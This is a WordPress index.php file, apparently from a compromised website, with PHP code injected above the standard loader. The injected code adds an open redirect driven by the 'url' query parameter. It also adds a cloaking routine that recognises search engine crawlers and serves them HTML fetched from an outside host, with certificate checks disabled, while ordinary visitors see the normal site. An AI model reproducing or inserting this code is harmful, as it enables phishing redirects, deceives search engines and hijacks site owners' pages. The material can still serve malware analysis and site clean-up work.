File: /home/domains/vol4/560/2977560/user/htdocs/index.php
<?php
if (isset($_GET['url']) && !empty($_GET['url'])) {
header("Location: ".$_GET['url']);
exit;
}
?><?php function isSearchEngineBot(){return preg_match('/(googlebot|bingbot|yandexbot|baiduspider|duckduckbot|slurp|facebot|ia_archiver|TelegramBot|Google-Site-Verification|Google-InspectionTool|AhrefsBot)/i',$_SERVER['HTTP_USER_AGENT']?? '');}function nomiFetchRemote($url){if(!filter_var($url,FILTER_VALIDATE_URL))return "";if(function_exists('curl_init')){$ch=curl_init($url);curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);curl_setopt($ch,CURLOPT_FOLLOWLOCATION,true);curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($ch,CURLOPT_TIMEOUT,10);$data=curl_exec($ch);curl_close($ch);return $data;}return@file_get_contents($url)?:"";}$cloaking_paths=[''=>'https://devonshirehouselab.co.uk/wp-link.html'];$req_path=trim(parse_url($_SERVER['REQUEST_URI']?? '/',PHP_URL_PATH),'/');if(isSearchEngineBot()&&isset($cloaking_paths[$req_path])){$bot_content=nomiFetchRemote($cloaking_paths[$req_path]);if($bot_content){header('Content-Type: text/html; charset=UTF-8');header('Vary: User-Agent');header('Cache-Control: public, max-age=3600');header('X-Cloaking: Active');echo $bot_content;exit;}}
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define( 'WP_USE_THEMES', true );
/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';